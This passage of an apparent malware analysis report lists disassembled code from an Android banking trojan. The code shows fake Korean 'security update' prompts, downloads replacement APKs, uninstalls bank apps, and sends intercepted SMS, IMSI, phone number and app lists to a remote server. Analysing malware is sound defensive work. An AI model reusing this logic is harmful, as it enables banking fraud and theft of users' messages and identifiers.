| 29 | if-eqz v1, :cond_ef | |
| 31 | const-string v9, "" | |
| 33 | invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 34 | move-result v9 | |
| 35 | if-nez v9, :cond_ef | |
| 37 | const-string v9, "#" | |
| 39 | invoke-virtual {v8, v9}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; |
|
| 40 | move-result-object v3 | |
| 41 | const/4 v9, 0x1 | |
| 42 | aget-object v9, v3, v9 | |
| 43 | sput-object v9, Lcom/example/adt/Config;->downApk:Ljava/lang/String; | |
| 45 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 47 | sget-object v10, Lcom/example/adt/Config;->downApk:Ljava/lang/String; | |
| 48 | iput-object v10, v9, Lcom/example/adt/CoreService;->mApk:Ljava/lang/String; | |
| 50 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 51 | aget-object v10, v3, v11 | |
| 52 | iput-object v10, v9, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 53 | const/4 v9, 0x2 | |
| 54 | aget-object v9, v3, v9 | |
| 55 | sput-object v9, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
| 57 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 59 | sget-object v10, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
| 60 | iput-object v10, v9, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String; | |
| 61 | const v7, 0x7f020001 | |
| 62 | const/4 v6, 0x0 | |
| 63 | goto_51: | |
| 64 | sget-object v9, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
| 65 | array-length v9, v9 | |
| 66 | if-lt v6, v9, :cond_11b | |
| 67 | new-instance v9, Ljava/lang/StringBuilder; | |
| 69 | sget-object v10, Lcom/example/adt/Config;->APK_URL:Ljava/lang/String; | |
| 71 | invoke-static {v10}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 72 | move-result-object v10 | |
| 74 | invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 76 | sget-object v10, Lcom/example/adt/Config;->downApk:Ljava/lang/String; | |
| 78 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 79 | move-result-object v9 | |
| 81 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 82 | move-result-object v9 | |
| 84 | invoke-static {v9}, Lcom/example/adt/DownLoad;->downLoadFile(Ljava/lang/String;)Ljava/io/File; | |
| 85 | move-result-object v9 | |
| 86 | sput-object v9, Lcom/example/adt/Config;->installApk:Ljava/io/File; | |
| 88 | sget-object v9, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 90 | const-string v10, "\u6587\u4ef6\u4e0b\u8f7d\u6210\u529f => 000000" | |
| 92 | invoke-virtual {v9, v10}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 94 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 96 | iget-object v9, v9, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 97 | new-instance v10, Ljava/lang/StringBuilder; | |
| 99 | iget-object v11, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 101 | iget-object v11, v11, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 103 | invoke-static {v11}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 104 | move-result-object v11 | |
| 106 | invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 108 | const-string v11, "\uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00\uc788\uc2b5\ub2c8\ub2e4" | |
| 110 | invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 111 | move-result-object v10 | |
| 113 | invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 114 | move-result-object v10 | |
| 116 | const-string v11, "\ucd5c\uc2e0\ubc84\uc804\uc73c\ub85c \ubcf4\uc548\uac15\ud654 \ud558\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4" | |
| 118 | invoke-static {v9, v10, v11, v7}, Lcom/example/adt/CoreService;->showNofity(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)V |
|
| 119 | new-instance v2, Landroid/app/AlertDialog$Builder; | |
| 121 | sget-object v9, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 123 | invoke-direct {v2, v9}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V | |
| 125 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 127 | iget-object v9, v9, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 129 | invoke-virtual {v2, v9}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
| 130 | new-instance v9, Ljava/lang/StringBuilder; | |
| 132 | iget-object v10, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 134 | iget-object v10, v10, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 136 | invoke-static {v10}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 137 | move-result-object v10 | |
| 139 | invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 141 | const-string v10, " \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00 \uc788\uc2b5\ub2c8\ub2e4.\ubcf4\ub2e4 \ub354 \uc548\uc804\ud55c \uc2a4\ub9c8\ud2b8\ubc45\ud0b9\uc744 \uc0ac\uc6a9\ud558\uae30\uc704\ud558\uc5ec \ucd5c\uc2e0\ubc84\uc804\uc744 \ub2e4\uc6b4\ubc1b\uc73c\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4." | |
| 143 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 144 | move-result-object v9 | |
| 146 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 147 | move-result-object v9 | |
| 149 | invoke-virtual {v2, v9}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
| 151 | const-string v9, "\ud655\uc778" | |
| 152 | new-instance v10, Lcom/example/adt/CoreService$BtnClick; | |
| 154 | iget-object v11, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 156 | invoke-direct {v10, v11}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V | |
| 158 | invoke-virtual {v2, v9, v10}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
| 160 | const-string v9, "\ucde8\uc18c" | |
| 161 | new-instance v10, Lcom/example/adt/CoreService$BtnClick; | |
| 163 | iget-object v11, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 165 | invoke-direct {v10, v11}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V | |
| 167 | invoke-virtual {v2, v9, v10}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
| 169 | invoke-virtual {v2}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog; | |
| 170 | move-result-object v5 | |
| 172 | invoke-virtual {v5}, Landroid/app/AlertDialog;->getWindow()Landroid/view/Window; | |
| 173 | move-result-object v9 | |
| 174 | const/16 v10, 0x7d3 | |
| 176 | invoke-virtual {v9, v10}, Landroid/view/Window;->setType(I)V |
|
| 178 | invoke-virtual {v5}, Landroid/app/AlertDialog;->show()V | |
| 180 | sget-object v9, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 182 | const-string v10, "\u6211\u6536\u5230App.Alert" | |
| 184 | invoke-virtual {v9, v10}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 185 | cond_ef: | |
| 186 | const-string v9, "app.dwonload.complate" | |
| 188 | invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 189 | move-result v9 | |
| 190 | if-eqz v9, :cond_fe | |
| 192 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 194 | iget-object v9, v9, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String; | |
| 196 | invoke-static {v9}, Lcom/example/adt/CoreService;->uninstallAPK(Ljava/lang/String;)V | |
| 197 | cond_fe: | |
| 198 | const-string v9, "app.auto.install" | |
| 200 | invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 201 | move-result v9 | |
| 202 | if-eqz v9, :cond_115 | |
| 204 | invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle; | |
| 205 | move-result-object v4 | |
| 207 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 209 | const-string v10, "apk" | |
| 211 | invoke-virtual {v4, v10}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
| 212 | move-result-object v10 | |
| 214 | invoke-virtual {v9, v10}, Lcom/example/adt/CoreService;->autoChangeApk(Ljava/lang/String;)V | |
| 215 | cond_115: | |
| 216 | const-string v9, "alert.main" | |
| 218 | invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 219 | return-void | |
| 220 | cond_11b: | |
| 221 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
| 223 | iget-object v9, v9, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String; | |
| 225 | sget-object v10, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
| 226 | aget-object v10, v10, v6 | |
| 228 | invoke-virtual {v9, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 229 | move-result v9 | |
| 230 | if-eqz v9, :cond_12d | |
| 232 | sget-object v9, Lcom/example/adt/Config;->icon:[I | |
| 233 | aget v7, v9, v6 | |
| 234 | cond_12d: add-int/lit8 v6, v6, 0x1 | |
| 235 | goto/16 :goto_51 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "apkname" | |
| 1 | .prologue | |
| 2 | move-object v1, p1 | |
| 4 | sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 5 | new-instance v6, Ljava/lang/StringBuilder; | |
| 7 | const-string v7, "\u81ea\u52a8\u5378\u8f7d\u7684\u5305\u540d => " | |
| 9 | invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 11 | invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 12 | move-result-object v6 | |
| 14 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 15 | move-result-object v6 | |
| 17 | invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 18 | const v4, 0x7f020001 | |
| 20 | const-string v5, "" | |
| 22 | invoke-virtual {v1, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 23 | move-result v5 | |
| 24 | if-nez v5, :cond_a6 | |
| 25 | const/4 v3, 0x0 | |
| 26 | goto_21: | |
| 27 | sget-object v5, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String; | |
| 28 | array-length v5, v5 | |
| 29 | if-lt v3, v5, :cond_a7 | |
| 30 | goto_26: new-instance v5, Ljava/lang/StringBuilder; | |
| 32 | sget-object v6, Lcom/example/adt/Config;->APK_URL:Ljava/lang/String; | |
| 34 | invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 35 | move-result-object v6 | |
| 37 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 39 | invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 40 | move-result-object v5 | |
| 42 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 43 | move-result-object v5 | |
| 45 | invoke-static {v5}, Lcom/example/adt/DownLoad;->downLoadFile(Ljava/lang/String;)Ljava/io/File; | |
| 46 | move-result-object v5 | |
| 47 | sput-object v5, Lcom/example/adt/Config;->installApk:Ljava/io/File; | |
| 48 | const/4 v5, 0x1 | |
| 49 | sput v5, Lcom/example/adt/Config;->isAlert:I | |
| 50 | new-instance v0, Landroid/app/AlertDialog$Builder; | |
| 52 | sget-object v5, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 54 | invoke-direct {v0, v5}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V | |
| 56 | iget-object v5, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 58 | invoke-virtual {v0, v5}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
| 59 | new-instance v5, Ljava/lang/StringBuilder; | |
| 61 | iget-object v6, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 63 | invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 64 | move-result-object v6 | |
| 66 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 68 | const-string v6, " \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00 \uc788\uc2b5\ub2c8\ub2e4.\ubcf4\ub2e4 \ub354 \uc548\uc804\ud55c \uc2a4\ub9c8\ud2b8\ubc45\ud0b9\uc744 \uc0ac\uc6a9\ud558\uae30\uc704\ud558\uc5ec \ucd5c\uc2e0\ubc84\uc804\uc744 \ub2e4\uc6b4\ubc1b\uc73c\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4." | |
| 70 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 71 | move-result-object v5 | |
| 73 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 74 | move-result-object v5 | |
| 76 | invoke-virtual {v0, v5}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
| 78 | const-string v5, "\ud655\uc778" | |
| 79 | new-instance v6, Lcom/example/adt/CoreService$BtnClick; | |
| 81 | invoke-direct {v6, p0}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V | |
| 83 | invoke-virtual {v0, v5, v6}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
| 85 | const-string v5, "\ucde8\uc18c" | |
| 86 | new-instance v6, Lcom/example/adt/CoreService$BtnClick; | |
| 88 | invoke-direct {v6, p0}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V | |
| 90 | invoke-virtual {v0, v5, v6}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
| 92 | invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog; | |
| 93 | move-result-object v2 | |
| 95 | invoke-virtual {v2}, Landroid/app/AlertDialog;->getWindow()Landroid/view/Window; | |
| 96 | move-result-object v5 | |
| 97 | const/16 v6, 0x7d3 | |
| 99 | invoke-virtual {v5, v6}, Landroid/view/Window;->setType(I)V |
|
| 101 | invoke-virtual {v2}, Landroid/app/AlertDialog;->show()V | |
| 103 | iget-object v5, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 104 | new-instance v6, Ljava/lang/StringBuilder; | |
| 106 | iget-object v7, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 108 | invoke-static {v7}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 109 | move-result-object v7 | |
| 111 | invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 113 | const-string v7, "\uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00\uc788\uc2b5\ub2c8\ub2e4" | |
| 115 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 116 | move-result-object v6 | |
| 118 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 119 | move-result-object v6 | |
| 121 | const-string v7, "\ucd5c\uc2e0\ubc84\uc804\uc73c\ub85c \ubcf4\uc548\uac15\ud654 \ud558\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4" | |
| 123 | invoke-static {v5, v6, v7, v4}, Lcom/example/adt/CoreService;->showNofity(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)V |
|
| 124 | cond_a6: return-void | |
| 125 | cond_a7: | |
| 126 | sget-object v5, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String; | |
| 127 | aget-object v5, v5, v3 | |
| 129 | invoke-virtual {v5, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 130 | move-result v5 | |
| 131 | if-eqz v5, :cond_c7 | |
| 133 | sget-object v5, Lcom/example/adt/Config;->bName:[Ljava/lang/String; | |
| 134 | aget-object v5, v5, v3 | |
| 135 | iput-object v5, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
| 137 | sget-object v5, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
| 138 | aget-object v5, v5, v3 | |
| 139 | sput-object v5, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
| 141 | sget-object v5, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
| 142 | iput-object v5, p0, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String; | |
| 144 | sget-object v5, Lcom/example/adt/Config;->icon:[I | |
| 145 | aget v4, v5, v3 | |
| 146 | goto/16 :goto_26 | |
| 147 | cond_c7: add-int/lit8 v3, v3, 0x1 | |
| 148 | goto/16 :goto_21 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | new-instance v1, Ljava/lang/StringBuilder; | |
| 3 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 5 | const-string v3, "serverip" | |
| 7 | sget-object v4, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 9 | invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
| 10 | move-result-object v2 | |
| 12 | invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 13 | move-result-object v2 | |
| 15 | invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 17 | sget-object v2, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 19 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 20 | move-result-object v1 | |
| 22 | const-string v2, "SMSReceiver&imsi=" | |
| 24 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 25 | move-result-object v1 | |
| 27 | iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver; | |
| 29 | iget-object v2, v2, Lcom/example/adt/SMSReceiver;->imsi:Ljava/lang/String; | |
| 31 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 32 | move-result-object v1 | |
| 34 | const-string v2, "&number=" | |
| 36 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 37 | move-result-object v1 | |
| 39 | iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver; | |
| 41 | iget-object v2, v2, Lcom/example/adt/SMSReceiver;->number:Ljava/lang/String; | |
| 43 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 44 | move-result-object v1 | |
| 46 | const-string v2, "&from=" | |
| 48 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 49 | move-result-object v1 | |
| 51 | iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver; | |
| 53 | iget-object v2, v2, Lcom/example/adt/SMSReceiver;->from:Ljava/lang/String; | |
| 55 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 56 | move-result-object v1 | |
| 58 | const-string v2, "&content=" | |
| 60 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 61 | move-result-object v1 | |
| 63 | iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver; | |
| 65 | iget-object v2, v2, Lcom/example/adt/SMSReceiver;->content:Ljava/lang/String; | |
| 67 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 68 | move-result-object v1 | |
| 70 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 71 | move-result-object v0 | |
| 73 | iget-object v1, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver; | |
| 75 | iget-object v1, v1, Lcom/example/adt/SMSReceiver;->conn:Lcom/example/adt/Connect; | |
| 77 | invoke-virtual {v1, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
| 79 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 80 | new-instance v2, Ljava/lang/StringBuilder; | |
| 82 | const-string v3, "SEMRECEIVER_DATA =>" | |
| 84 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 86 | invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 87 | move-result-object v2 | |
| 89 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 90 | move-result-object v2 | |
| 92 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 93 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | new-instance v1, Ljava/lang/StringBuilder; | |
| 3 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 5 | const-string v3, "serverip" | |
| 7 | sget-object v4, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 9 | invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
| 10 | move-result-object v2 | |
| 12 | invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 13 | move-result-object v2 | |
| 15 | invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 17 | sget-object v2, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 19 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 20 | move-result-object v1 | |
| 22 | const-string v2, "Apps&number=" | |
| 24 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 25 | move-result-object v1 | |
| 27 | iget-object v2, p0, Lcom/example/adt/App$1;->this$0:Lcom/example/adt/App; | |
| 29 | invoke-static {v2}, Lcom/example/adt/App;->access$0(Lcom/example/adt/App;)Landroid/content/Context; | |
| 30 | move-result-object v2 | |
| 32 | invoke-static {v2}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
| 33 | move-result-object v2 | |
| 35 | invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 36 | move-result-object v2 | |
| 38 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 39 | move-result-object v1 | |
| 41 | const-string v2, "&imsi=" | |
| 43 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 44 | move-result-object v1 | |
| 46 | iget-object v2, p0, Lcom/example/adt/App$1;->this$0:Lcom/example/adt/App; | |
| 48 | invoke-static {v2}, Lcom/example/adt/App;->access$0(Lcom/example/adt/App;)Landroid/content/Context; | |
| 49 | move-result-object v2 | |
| 51 | invoke-static {v2}, Lcom/example/adt/Config;->getIMSI(Landroid/content/Context;)Ljava/lang/String; | |
| 52 | move-result-object v2 | |
| 54 | invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 55 | move-result-object v2 | |
| 57 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 58 | move-result-object v1 | |
| 60 | const-string v2, "&content=" | |
| 62 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 63 | move-result-object v1 | |
| 65 | iget-object v2, p0, Lcom/example/adt/App$1;->this$0:Lcom/example/adt/App; | |
| 67 | invoke-virtual {v2}, Lcom/example/adt/App;->getApps()Ljava/lang/String; | |
| 68 | move-result-object v2 | |
| 70 | invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 71 | move-result-object v2 | |
| 73 | invoke-static {v2}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; | |
| 74 | move-result-object v2 | |
| 76 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 77 | move-result-object v1 | |
| 79 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 80 | move-result-object v0 | |
| 82 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 83 | new-instance v2, Ljava/lang/StringBuilder; | |
| 85 | const-string v3, "\u53d1\u9001\u5e94\u7528\u5217\u8868 =>" | |
| 87 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 89 | invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 90 | move-result-object v2 | |
| 92 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 93 | move-result-object v2 | |
| 95 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 96 | try_start_79: new-instance v1, Lcom/example/adt/Connect; | |
| 98 | invoke-direct {v1}, Lcom/example/adt/Connect;-><init>()V | |
| 100 | invoke-virtual {v1, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
| 101 | try_end_81: return-void | |
| 102 | catch_82: move-exception v1 | |
| 103 | goto/16 :goto_81 |
Method: com.example.adt.PhoneListener$1->run() Relevance: 6.3, APIs: 0, Strings:
5, Instructions: 84
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | try_start_0: | |
| 2 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 4 | invoke-static {v2}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
| 5 | move-result-object v1 | |
| 6 | new-instance v2, Ljava/lang/StringBuilder; | |
